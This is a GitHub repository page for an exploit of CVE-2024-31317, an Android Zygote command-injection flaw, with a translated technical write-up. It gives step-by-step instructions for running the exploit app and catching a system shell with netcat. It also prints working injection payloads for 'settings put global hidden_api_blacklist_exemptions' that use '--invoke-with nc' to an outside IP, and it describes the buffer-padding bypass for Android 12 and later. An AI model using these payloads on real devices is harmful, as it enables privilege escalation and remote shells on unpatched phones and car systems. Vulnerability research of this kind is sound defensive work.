Skip to content

oddbyte/CVE-2024-31317

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

48 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2024-31317

Can I even use this?

This was patched in https://source.android.com/docs/security/bulletin/2024-06-01

If your device runs a patch under 2024-06-01 you can use this. The "Google Play system update" date is irrevelant and you can (and should) update your google play.

Screenshot highlighting patch date

How to use the exploit:

If you are using a ARM 32 bit device (uname -m returns armv7l) then go into MainActivity.java and find the line below:

String libsPath = packageCodePath.substring(0, packageCodePath.length() - 8) + "lib/arm64/";

Then remove the "64" so that line looks like this:

String libsPath = packageCodePath.substring(0, packageCodePath.length() - 8) + "lib/arm/";
  1. Install the app
  2. Run adb shell
  3. Grant the app permission by running pm grant com.fh.exp31317 android.permission.WRITE_SECURE_SETTINGS
  4. Run nc -lp 6969 to catch the shell the app throws. This approach means that you cannot use control-c or it will kill your shell!
  5. Start the app, and press "Set payload" and "Run" really fast until you see the shell pop up in the adb window.
  6. You will now notice that apps fail to start. On some devices, this can be fixed by keeping the device on (dont reboot) and waiting a few hours. The system shell still works though! If you absolutely cant wait a few hours to use a specific app, or you are unsure if your device will fix itself, either open it before running the exploit, or reboot your device.

What can System do?

I will keep a detailed list of what it can do here: https://github.com/oddbyte/android-system

AI Translation notice:

Everything below this line was translated by Claude from https://github.com/fuhei/CVE-2024-31317

Introduction

A few days ago, I saw an analysis of the CVE-2024-31317 vulnerability published by JD's public account. After reading the entire article, I found it quite interesting. Since current mainstream car systems use Android and fall within the affected range of this vulnerability, I decided to reproduce it.

Since this is a user-space privilege escalation, you first need to obtain the corresponding user permissions. This creates certain limitations in car networking scenarios, as the current mainstream approach restricts installing unsigned APKs and doesn't allow direct development of engineering mode or ADB. However, combined with other vulnerabilities or techniques, it's still feasible, considering that System privileges can achieve many things. Additionally, note that this vulnerability requires the WRITE_SECURE_SETTINGS permission; by default, ADB has this permission, making it quite useful for privilege escalation after obtaining engineering mode. If ADB cannot be used directly, other vulnerabilities need to be exploited to obtain this permission.

Exploitation in Android 11 and below

The vulnerability is a command injection, not particularly difficult to analyze, but understanding Zygote is necessary before analysis. Zygote runs as a daemon that creates application processes through forking and accepts UNIX socket commands on /dev/socket/zygote. Each command begins with a decimal digit, followed by the number of parameters indicated by the digit.

8                              [command #1 arg count]
--runtime-args                 [arg #1: vestigial, needed for process spawn]
--setuid=10266                 [arg #2: process UID]
--setgid=10266                 [arg #3: process GID]
--target-sdk-version=31        [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread     [arg #8: Java entry point]
3                              [command #2 arg count]
--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
LClass1;->method1(             [args #2, #3: denylist entries]
LClass1;->field1:

The diff patch file shows that the modification adds newline comments, indirectly confirming that in older versions, we can inject commands using newlines to start new processes.

Tracking the function calls upward, we can see that from the initial reading of the HIDDEN_API_BLACKLIST_EXEMPTIONS value to all subsequent transmissions, there are no filtering operations, suggesting we might directly inject arbitrary parameters.

Naturally, we can assume that if we can control the HIDDEN_API_BLACKLIST_EXEMPTIONS value, we can inject our custom parameters. As mentioned earlier, we need the WRITE_SECURE_SETTINGS permission to set this value. ADB has this permission by default, so we only need to execute settings put global hidden_api_blacklist_exemptions command using the system's built-in settings command. This allows us to try injecting a new process with something like:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"

However, this doesn't meet our needs as it still can't execute commands. Analysis reveals that the invokeWith parameter can enable command execution.

Now it becomes simple - we just need to construct a command like:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"

But this doesn't trigger successfully. Checking logcat shows a message indicating debug mode is required. How do we enter debug mode?

Further code review reveals there's a runtime-flags parameter during startup used to configure debug properties.

The available parameters are as follows:

Therefore, we only need to add this parameter during startup and enable all debug properties. The modified command is:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"

After execution, nc successfully captures the network request.

Exploitation in after Android 12

The above method works for Android 11 and below, but Android 12 introduced a fast-path C++ command parser to enhance Zygote's Java command parser, implemented through the new NativeCommandBuffer class. After parsing all command lines, NativeCommandBuffer discards any subsequent content and reads the next command from the socket, meaning that when we inject two commands, it discards our injected content, preventing the injection.

We need a method to bypass the first read() call. Following the original author's approach, we can append numerous commas at the end, making maybeSetApiDenylistExemptions() spend significant time looping after writing, increasing the time interval. The logic here is that maybeSetApiDenylistExemptions() calls state.mZygoteOutputWriter.write() multiple times, but these calls don't directly map to socket writes because mZygoteOutputWriter inherits from BufferedWriter, which aggregates data in an internal buffer before writing to the underlying transport. This mechanism provides a ready-made method to emit two socket writes with an appropriate delay between them.

The BufferedWriter buffer size is 8192 bytes, much smaller than Zygote's buffer. We only need to fill it to 8192 bytes before inserting the malicious command, forcing BufferedWriter to write this data first.

References

Conclusion

This article should have been written long ago, but I've been busy and forgot about it. I scored many points using this vulnerability during a CTF competition. Recently, I was working on a test project involving an Android car system and remembered this half-written blog, so I quickly recorded what I could still recall. I'm grateful for the help provided by Flanker during the reproduction of this vulnerability, which helped me avoid many pitfalls.

About

CVE-2024-31317

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages

  • Java 87.5%
  • C++ 10.7%
  • Shell 1.8%